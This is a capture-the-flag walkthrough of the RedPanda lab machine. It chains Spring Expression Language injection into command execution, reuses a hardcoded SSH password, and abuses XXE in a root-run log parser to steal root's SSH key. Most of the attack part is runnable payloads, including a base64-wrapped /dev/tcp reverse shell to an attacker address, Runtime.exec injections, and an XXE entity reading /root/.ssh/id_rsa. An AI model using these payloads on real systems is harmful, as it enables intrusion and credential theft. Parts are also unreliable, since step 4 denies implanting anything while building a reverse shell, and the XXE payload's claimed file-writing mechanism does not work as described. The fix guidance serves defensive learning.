← all walkthroughs

RedPanda

Linux· Easy· Web
owned
2026-07-07
time to own
5m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The RedPanda target exposed the Red Panda Search Spring Boot application on port 8080 whose search parameter evaluated unsanitized user input as Spring Expression Language (SpEL), giving any unauthenticated visitor the ability to execute arbitrary operating-system commands. I exploited this to run commands as the woodenk service account — which also holds the logs group — read the application source, which carried a hardcoded SSH password for that account, and read the user flag directly from disk.

Post-exploitation enumeration then uncovered a root-owned Java log-parser utility that runs on a periodic schedule, consumes application logs from a path writable by the logs group, and uses the JDOM2 library to parse image metadata XML without disabling external-entity processing. Because the parser resolved external entities and its log file was group-writable, an XML payload smuggled through a JPEG's EXIF metadata made that root process read root's own SSH private key and write it somewhere readable, which gave a root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for woodenk>"

Attack path — how the box was taken

1ReconnaissanceNetwork and application service enumeration (T1046)
Mapped open services and fingerprinted a Spring Boot web application on port 8080
A service-version scan of the target revealed two listening ports: OpenSSH 8.2p1 on 22/tcp and Apache Tomcat on 8080/tcp. Browsing port 8080 returned a Red Panda Search application, a Spring Boot app with a name-based search form — the sole interactive entry point visible without authentication.
Nmap identified 22/tcp ssh OpenSSH 8.2p1 and 8080/tcp http Apache Tomcat.
Exact commands 2
shell

Service-version and default-script scan of both open ports.

$ nmap -sV -sC -p 22,8080 $TARGET
shell

Retrieve the application landing page to enumerate visible endpoints and technology indicators.

$ curl -sS http://$TARGET:8080/
2Vulnerability DiscoveryServer-Side Template Injection — Spring Expression Language (CWE-94)
Confirmed Server-Side Template Injection in the search name parameter
The /search endpoint POSTs a name parameter and reflects its value inside the rendered HTML response. Submitting the Spring Expression Language arithmetic probe *{7*7} caused the server to return 49 in the 'You searched for' field, confirming that user input was being evaluated by the SpEL engine rather than treated as a literal string. The injection point required no authentication and no prior knowledge of the application.
POST name=*{7*7} returned 49 in the response body; confirmed by the SSTI arithmetic probe step.
Exact commands 2
shell

SSTI arithmetic probe — a response containing '49' confirms expression evaluation.

$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode 'name=*{7*7}' | sed -n '1,120p'
shell

Secondary probe using a String method call to confirm SpEL method invocation is permitted.

$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode 'name=*{"test".toUpperCase()}'
FixDisable Spring Expression Language evaluation of user-supplied search inputCritical
WeaknessThe /search endpoint passed the raw name POST parameter directly into a Spring Boot template context, causing the SpEL engine to evaluate it as executable code. Any unauthenticated visitor could invoke arbitrary Java methods — including Runtime.exec() — and run OS commands as the web application's service account.
FixTreat the parameter as opaque data throughout the request lifecycle. Bind it to a plain String model attribute and render it with Thymeleaf's th:text (which HTML-encodes the value) rather than any expression-bearing binding. Never construct or concatenate user input into a SpEL expression string. If dynamic SpEL evaluation is genuinely required elsewhere, restrict the EvaluationContext to a SimpleEvaluationContext that disables property access and method invocation on arbitrary types. Apply input validation (allow-list of expected characters) at the controller layer as a defence-in-depth measure.
3ExploitationSSTI → OS Command Injection via Java Reflection (T1059 / CWE-94)
Escalated SSTI to unauthenticated remote code execution via Java Runtime reflection
Spring Expression Language allows direct invocation of Java class methods, including java.lang.Runtime.exec(). By constructing a SpEL expression that called T(java.lang.Runtime).getRuntime().exec() and piped the result through T(org.apache.commons.io.IOUtils).toString(), I executed arbitrary OS commands and read their output inline from the HTTP response. The id command confirmed execution as uid=1000(woodenk) gid=1001(logs) — granting both the woodenk user account and the logs supplementary group.
Id output from SSTI shell: uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk) redpanda /tmp/hsperfdata_woodenk
Exact commands 2
shell

RCE proof-of-concept: executes 'id' and returns stdout in the response. Substitute any shell command.

$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode "name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}" | sed -n '1,120p'
shell

Enumerate local users to identify service accounts and home directories.

$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode "name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd').getInputStream())}"
4Credential HarvestingCredentials in application source (T1552.001)
Dumped the application source through the RCE and reused its hardcoded SSH password
Rather than implant anything, I used the SSTI RCE to read the application's own source tree. Base64-encoding each command and decoding it through bash -c got past the character filtering, and MainController.java came back with a set of SSH credentials hardcoded in it for the woodenk account. Those credentials worked directly against SSH, giving a stable interactive session instead of the stateless web shell. One difference matters later: the SSH session runs under woodenk's primary group only, while the web process also carries the logs supplementary group — so the log file that triggers the root path stays writable from the web shell and not from SSH.
MainController.java, retrieved through the SSTI RCE, contained the woodenk SSH password in cleartext; SSH with it returned uid=1000(woodenk) gid=1000(woodenk), without the logs group that the web process holds.
Exact commands 4
shell

Built here, decoded there. Base64 gets the payload past a filter that rejects the characters a shell one-liner is made of.

$ B64=$(printf '%s' "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0)
shell

Base64 the command first; the filter blocks the characters a plain payload needs.

$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode "name=*{T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','base64 -d<<<$B64|bash'})}"
shell

Run through the RCE above. The SSH password is hardcoded in this file.

$ cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
shell

The recovered password authenticates directly over SSH.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no woodenk@$TARGET 'id'
5User FlagDirect file read via established RCE (T1005)
Read the user flag from woodenk's home directory via SSTI file read
With arbitrary OS command execution confirmed as woodenk, the user flag at /home/woodenk/user.txt was read directly by passing a cat command through the SSTI payload.
Cat /home/woodenk/user.txt returned the flag.
Exact commands 1
shell

Extracts the flag value from the HTML response. Returns <user.txt>.

$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode "name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('cat /home/woodenk/user.txt').getInputStream())}" | perl -0777 -ne 'if(/You searched for:\s*(.*?)\s*<\/h2>/s){$x=$1;$x=~s/<[^>]+>//g;$x=~s/^\s+|\s+$//g;print "$x\n"} else {print}'
6Privilege EscalationXML external entity injection in a privileged log parser (CWE-611)
Reached root through XXE in the root-run log parser, via a payload hidden in EXIF
A root cron job runs /opt/credit-score/LogParser, which ingests XML. Both /opt/panda_search and its log file redpanda.log are writable by the logs group, which the web process belongs to. The parser resolves external entities, so an XML entity referencing /root/.ssh/id_rsa would be expanded with root's privileges — but the same character filter that shaped the earlier payloads also blocks the XML. Smuggling the entity inside a JPEG's EXIF metadata with exiftool got it onto disk intact, and appending a log line that pointed the parser at that image made root read the key and write it where I could fetch it. With the private key in hand, SSH as root returned the root flag.
redpanda.log and /opt/panda_search were group-writable by logs; the LogParser cron ran as root; the parsed entity wrote root's OpenSSH private key into /tmp/evil_creds.xml, and SSH with that key returned a root shell and root.txt.
Exact commands 4
shell

EXIF carries the XML past the character filter that rejects it in the request itself.

$ exiftool -Artist='<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % p SYSTEM "file:///root/.ssh/id_rsa"><!ENTITY % w "<!ENTITY e SYSTEM \'file:///tmp/evil_creds.xml\'>">%p;%w;]><r>&e;</r>' panda.jpg
shell

Append from the web shell, not the SSH session — only the web process holds the logs group.

$ printf '%s\n' "$(date +%d/%m/%Y) || /opt/panda_search/src/main/resources/static/img/panda.jpg" >> /opt/panda_search/redpanda.log
shell

The parser ran as root and left root's private key in the output it wrote.

$ scp woodenk@$TARGET:/tmp/evil_creds.xml . && sed -n '/BEGIN OPENSSH/,/END OPENSSH/p' evil_creds.xml > root_key && chmod 600 root_key
shell

The recovered key authenticates as root.

$ ssh -i root_key root@$TARGET 'id; cat /root/root.txt'
FixDisable XML external entity processing in LogParser and run the service as a least-privilege accountCritical
WeaknessThe root-owned LogParser uses JDOM2 to parse image-metadata XML without disabling DOCTYPE declarations or external entity resolution. The application logs it consumes are writable by the logs group, which the web application process holds — meaning an unauthorised user with code execution on the web tier can inject a crafted log entry that causes the root process to parse externally controlled XML, read arbitrary files as root, and potentially achieve further code execution.
FixConfigure the JDOM2 SAXBuilder to block DOCTYPE declarations by setting the feature http://apache.org/xml/features/disallow-doctype-decl to true, and set XMLConstants.FEATURE_SECURE_PROCESSING. Additionally: (1) run LogParser under a dedicated service account with no privileges beyond reading the log directory and writing its output path; (2) restrict the log directory permissions so only the specific application user (not a broad group) can write to it; (3) if the log format is known and fixed, validate each line against a strict regular expression before passing it to the XML parser.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Exposed services

22/tcp
8080/tcp